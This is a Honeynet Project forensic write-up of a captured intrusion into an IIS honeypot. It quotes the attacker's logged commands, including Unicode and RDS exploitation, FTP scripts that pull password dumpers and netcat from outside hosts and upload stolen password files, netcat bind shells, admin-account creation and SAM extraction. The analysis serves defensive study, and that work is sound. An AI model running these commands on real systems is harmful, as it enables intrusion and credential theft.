Scan 14, Rain Forest Puppy <rfp@wiretrip.net>

Data Extraction

Before I go into the analysis of the attack and answering the questions, we should first review how we extracted the data from the binary snort log file. There is no right or wrong way on how to analyze the data, everyone used different methods (such as Ethreal). We, the Honeynet Project, commonly use two ways to extract data from snort binary logs; command line review and session breakout.

Command line review:
To review the data from the command line, one can execute the following command to see all the packets sent by the attacker
213.116.251.162.

```
snort -vdr snort-0204@0117.log host 213.116.251.162 | more
```

This data is great for showing packets headers and packet payload in both ASCII and hex, as you can see here. However it is diffuclt to extract and understand the packet payloads and user keystrokes.

Session Breakout
A second option is to have the snort binary file ran through a snort config file, which takes all the ASCII payload and dumps it to flat ASCII text files. This makes it much easier to read packet payload and user keystrokes and will also generate all of the snort alerts generated by the attack. This is done by running snort with the following command line syntax, which results in the following output in the directory ./log. The files we are interested in start with the prefix SESSION:

```
snort -r snort-0204@0117.log -c snort.conf -l ./log
```

Data Analysis and Challenge Answers

Once this data has been extracted from the snort binary log file, we can begin our analysis.

---

1. Which exploit(s) were used to attack the system?
2. How were the exploits used to access and control the system?
3. What was done once access was gained?
4. How could this attack been prevented?
5. How much time did you spend on this analysis and writeup?

Bonus Question:
Do you feel that the attacker in question knew if this was a honeypot? If so, why or why not?

1. Which exploit(s) were used to attack the system?

Snort reported Unicode attacks from 213.116.251.162. So zeroing in on that IP address, an activity trace reveals the attacker first going to the website lab.wiretrip.net. Interesting things to note in his outgoing HTTP request: the User-Agent shows us he's running IE 5.01 on 'NT 5.0', which is essentially Windows 2000. They have the 'Hotbar 2.0' IE plugin also (whatever that is). The Accept header tells us they have MS Office installed (since they accept Excel, Word, and Powerpoint content types). The attacker then browses an inside guestbook page (with included GIFs). Afterwards, the attacker tries a Unicode attack (in various forms), eventually succeeding in displaying boot.ini (as seen in the server's return response).

Now the attacker switches to playing with RDS, via msadcs.dll. A quick query reveals the directory exists, and a query to msadcs.dll shows that it's functioning correctly. The attacker makes a RDS query which is attempts to run the command "cmd /c echo werd >> c:\fun". Due to the ADM!ROX!YOUR!WORLD string, and the fact that the first query used dbq=c:\winnt\help\iis\htm\tutorial\btcustmr.mdb, it looks like this is a use of the stock msadc.pl/msadc2.pl exploit. Unfortunately, there's no way to tell if the command worked by the server response.

Next the attacker attempts to use the Unicode bug to verify the RDS command succeeded, by trying to view the contents of the newly created 'fun' file sitting in the C: root. After a few requests, we see the query succeeded and the server returned the contents ('werd'). So at this point he knows both Unicode and RDS work.

2. How were the exploits used to access and control the system?

Next we see more RDS use, running the following commands:

```
"cmd /c echo user johna2k > ftpcom"
"cmd /c echo hacker2000 >> ftpcom"
"cmd /c echo get samdump.dll >> ftpcom"
"cmd /c echo get pdump.exe >> ftpcom"
"cmd /c echo get nc.exe >> ftpcom"
"cmd /c echo quit >> ftpcom"
"cmd /c ftp -s:ftpcom -n www.nether.net"
```

This creates a file called ftpcom, which has in it various scripted FTP commands (log in as user johna2k, password hacker2000). It will retrieve three files: samdump.dll, which is used by pdump.exe (a password dumper), and nc.exe (netcat). They then run the ftp client, feeding it the script, which will automate the connection, authentication, and retrieving of the files.

Next the attacker uses RDS to run:

```
"cmd /c pdump.exe >> new.pass"
```

Where they are running pdump.exe in order to get the passwords.

```
"cmd /c echo user johna2k > ftpcom2"
"cmd /c echo hacker2000 >> ftpcom2"
"cmd /c echo put new.pass >> ftpcom2"
"cmd /c echo quit >> ftpcom2"
"cmd /c ftp -s:ftpcom2 -n www.nether.net"
```

There the attacker creates another script--this time they want to upload the newly created new.pass file to the server. The attacker then browses the main page (with associated GIFs), but then returns back to RDS (msadcs.dll). Here they run:

```
"cmd /c ftp 213.116.251.162"
```

We see that our server makes an FTP connection to the attacker's IP, where they are convienently running an FTP server (Serv-U FTP-Server v2.5h). But the attacker ran the FTP client in interactive mode; RDS does not allow interaction, so technically this client will just sit there in memory until the box is rebooted (eventually the socket connection will close, but the client won't exit).

Now the attacker tries again, making a script this time:

```
"cmd /c open 213.116.251.162 > ftpcom"
"cmd /c echo johna2k > ftpcom"
"cmd /c echo hacker2000 >> ftpcom"
"cmd /c echo get samdump.dll >> ftpcom"
"cmd /c echo get pdump.exe >> ftpcom"
"cmd /c echo get nc.exe >> ftpcom"
"cmd /c echo quit >> ftpcom"
"cmd /c ftp -s:ftpcom"
```

Of course, this does not work. Why? Because the attacker screwed up and only used a single '>' on the second input, which caused it to overwrite the initial 'open' command. Even so, the second command lacked the 'user' command prefix as well. So basically the client would exit with an error since the script is invalid.

Next the attacker runs:

```
"cmd /c open 212.139.12.26"
"cmd /c echo johna2k >> sasfile"
"cmd /c echo haxedj00 >> sasfile"
"cmd /c echo get pdump.exe >> sasfile"
"cmd /c echo get samdump.dll >> sasfile"
"cmd /c echo get nc.exe >>sasfile"
"cmd /c echo quit >> sasfile"
"cmd /c ftp -s:sasfile"
```

Since the attacker forgot to redirect the first command into the file sasfile, the ftp client will once again fail due to an invalid script (no host was specified).

So they try it again:

```
"cmd /c open 213.116.251.162"
"cmd /c echo johna2k >> sasfile"
"cmd /c echo haxedj00 >> sasfile"
"cmd /c echo get pdump.exe >> sasfile"
"cmd /c echo get samdump.dll >> sasfile"
"cmd /c echo get nc.exe >>sasfile"
"cmd /c echo quit >> sasfile"
"cmd /c ftp -s:sasfile"
```

Given that there are 2-3 seconds inbetween each request, it appears this attack was automated--perhaps the attacker prewrote the file, and then used a wrapper application which used the msadc(2).pl exploit to upload one line at a time. Having once again failed (due to the broken FTP scripts), the attacker goes back to Unicode. This time they run the following command (via Unicode):

```
"cmd /c copy c:\winnt\system32\cmd.exe cmd1.exe"
```

This copies the command interpreter into the /msadc/ virtual directory. Making a copy is necessary in order to use file redirection in conjunction with the Unicode exploit/access method. Now the attacker attempts to construct a FTP via Unicode.The time between requests is on the order of 10-12 seconds, which means most likely the user is typing the commands by hand.

```
"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
```

Here the script is accurate, and so it works. We see the client log into the server, present the authentication credentials, and then download the listed files. One interesting thing to note is that the FTP session downloaded the files in ASCII mode--which means, technically, there could be binary corruption due to ASCII translation. But luckily both platforms were Windows, so no translation was done (thus the binaries came through unscathed).

Now the attacker fires up netcat:

```
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"
```

This binds the command prompt to port 6969. This lets the attacker telnet to port 6969 and submit DOS commands directly. We see the attacker connect, and then run 'dir'.

3. What was done once access was gained?

Now, via RDS, they run the following command:

```
"cmd1.exe /c C:\program files\common files\system\msadc\pdump.exe
>> yay.txt"
```

This runs the pdump.exe file recently retrieved. Back to the netcat telnet connection, the attacker runs 'dir' again, and then deletes the ftpcom file. They then try to 'type readme.e', which is an invalid file.

Back to RDS, they now run:

```
"cmd1.exe /c C:\program files\common files\system\msadc\pdump.exe
>> c:\yay.txt"
```

This puts a copy of yay.txt into the c:\ root. Then the attacker uses the netcat prompt to change to that directory and run a directory list--showing them that the yay.txt was created. They try to use the 'rm' command (forgetting they are on Windows and not Unix), and then switch to the 'del' command, deleting the 'fun' file created earlier. The attacker spends a little while browsing the filesystem via the netcat shell, lured by the 'exploit' directory which has copies of various exploits found on technotronic.com (added to enhance the realism of this being lab.wiretrip.net).

Another RDS request:

```
"cmd /c pdump.exe >> c:\yay.txt"
```

They then try to 'cat yay' via netcat, which is yet another Unix command that doesn't work on Windows. Coming to their senses, they 'type yay', which is the right command, but not the right filename. Third time's a charm, they 'type yay.txt', to find it empty. They then try to gather a little information on the system. First trying 'net session', which was not allowed to be run. They then run 'net users', which returns the user accounts on that machine. Notice that the machine name is 'KENNY', due to the IUSR/IWAM IIS account names.

The attacker now uses RDS to run the 'net session' command:

```
"cmd /c net session >>yay2.txt"
```

Forgetting where to put it, they run it again:

```
"cmd /c net session >>c:\yay2.txt"
```

Using netcat, they then display the file using 'type yay2.txt', afterwards deleting it with 'del yay2.txt'. Now they run 'net session >>yay3.txt', which still gives the same access denied message. They now attempt to delete all the 'yay' files, but they screw up the command and enter 'del yay&.*'. Second time around, they run 'del yay*', but get an error indicating c:\yay.txt is locked. There's a quick attempt to delete yay3.txt, but it's already been deleted.

Back to RDS:

```
"cmd /c net users >>heh.txt"
"cmd /c net users >>c:\heh.txt"
```

They then screw up and try to run 'yuper' (no clue), and then correct themseles and run 'type heh.txt', which shows them the output (which they already knew). They then delete that file ('del heh.txt') and browse around a bit. Finally, they compose a message:

```
"echo Hi, i knowthat this a (backspace)(backspace)is a lab
server, but patch the holes! :-) >>README.NOW.Hax0r"
```

After leaving the message, they check available groups ("net group") and attempt to view local groups ("net localgroup"). They try to run "net group domain admins", which fails. They then attempt to get the correct syntax of the command, and fudge some more attempts.

Back to RDS, they run:

```
"cmd /c net localgroup Domain Admins IWAM_KENNY /ADD"
"cmd /c net localgroup Domain Admins IUSR_KENNY /ADD"
```

This attempts to add the IUSR/IWAM IIS system accounts to the local administrators group. This if followed by another 'net session' command via netcat, along with more playing with the local groups. This time via RDS they run:

```
"cmd /c net localgroup administrators IUSR_KENNY /ADD"
"cmd /c net localgroup administrators IWAM_KENNY /ADD"
```

They seem to have given up on Domain Admin group, and just settled on local admin. Using the netcat connection, the attacker sees that the IWAM/IUSR accounts are now in the local administrators group. Now the attacker goes on a search for the 'msadc' virtual directory via netcat. Once there, they run 'pdump' (again), this time hoping that by being in the administrators group, it would work.

They then use RDS to add a new account to the system:

```
"cmd /c net user testuser UgotHacked /ADD"
```

They of course add that user to the administrators group:

```
"cmd /c net localgroup Administrators testuser /ADD"
```

A quick check via netcat to 'net localgroup administrators' and 'net users' is used to verify the new account was created (it wasn't). They try adding another user ("net user hi guy /ADD"), and seem to flounder around a bit trying to figure out why it didn't work, trying to add another user ("net user himan HarHar666 /Add"). They then go (via netcat) and delete the samdump.dll and pdump.exe. Now they go into the c:\winnt\repair\ directory and run "rdisk -s" and "rdisk -/s". This would normally cause the system to save a copy of the SAM password file; however, the correct syntax is "rdisk /s-", which the attacker hasn't gotten quite right.

Failing to work via netcat, the attacker uses RDS to run "rdisk -/s". Again, wrong. Next they run "rdisk -s". Wrong. Then they run "rdisk". Wrong. By this time that means there are 6+ rdisk processes running on the server, with rdisk windows sitting on the console screen. The processes also don't exit if you use the task manager to kill them--that is, unless you give yourself debugging rights before you try to kill them. But since most people don't know that, the only thing that seems to clear them is a reboot. Finally, three more attempts later, they get it right, running "rdisk /s-" via RDS. After running it a few more times (I guess they are eager to make sure it ran), they then use RDS to run:

```
"cmd /c type c:\winnt\repair\sam._ >>c:\har.txt"
```

Now via netcat they change to that directory and type the file...resulting in mishmash of binary data being displayed. Next they use Unicode to start another netcat server

"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"

Next a few web requests come in. Notice the funky Referer's. Don't quite know what's going on there....

Back to Unicode, the attacker runs another netcat server, but this time on port 6968. They netcat in, and are greeted with a DOS prompt. There they play the 'net session' and 'dir' game again, also trying to delete yay.txt, which is still locked. Next they change over to the webroot, and copy the c:\har.txt (the sam._ from the rdisk output) over to it. Since it's in the webroot, the attacker can now request it via the web, which they do. Notice that, since the file has the .txt extension, it's sent with a content-type of "text/plain". This has the chance of being mangled by the user's browser, much like transfering binary files in ASCII mode via FTP. Once retrieved, the attacker deletes the 'har.txt' files. Of course, they have some troubles deleting it, since the webserver has it open for reading. So the attacker attempts to delete it via RDS:

"cmd /c del c:\inetpub\wwwroot\har.txt".

That of course, still does not work. Now the attacker checks for alternate drives ("d:", "e:", "f:", etc)

The attacker uses the Unicode bug to attempt to execute a few more netcat services, and then tries to read the file they left (README.NOW.hax0r). But they seem to have forgotten the name, and mistype it a few times. Now the attacker uses RDS one again to change the password of the IWAM_KENNY account:

```
"cmd /c net user IWAM_KENNY Snake69Snake69"
```

After poking around a bit, the attacker creates another FTP script file, this time uploading 'whisker.tar.gz' (possibly a trojaned version? Don't know). They then delete the various ftpcom files, and are done.

4. How could this attack been prevented?

Both vulnerabilities have been identified and patches exist. RDS was published in June of 1999, so neither of these exploits are cutting edge.

RDS Patch - http://www.microsoft.com/technet/security/bulletin/MS99-025.asp
Unicode Patch - http://www.microsoft.com/technet/security/bulletin/ms00-057.asp

5. How much time did you spend on this analysis and writeup?

Four and half hours

Bonus Question, Do you feel that the attacker in question knew if this was a honeypot? If so, why or why not?

It appears that the attacker did know this was a honeypot. Specifically, when he creates the a file with the followin qoute.

```
C:\>echo best honeypot i've seen till now :) > rfp.txt
```

The Honeynet Project accidently compromised the honeypot's identity when it released February's Scan of the Month., which included the URL lab.wiretrip.net in the challenge's network signature. Dooh!

- RFP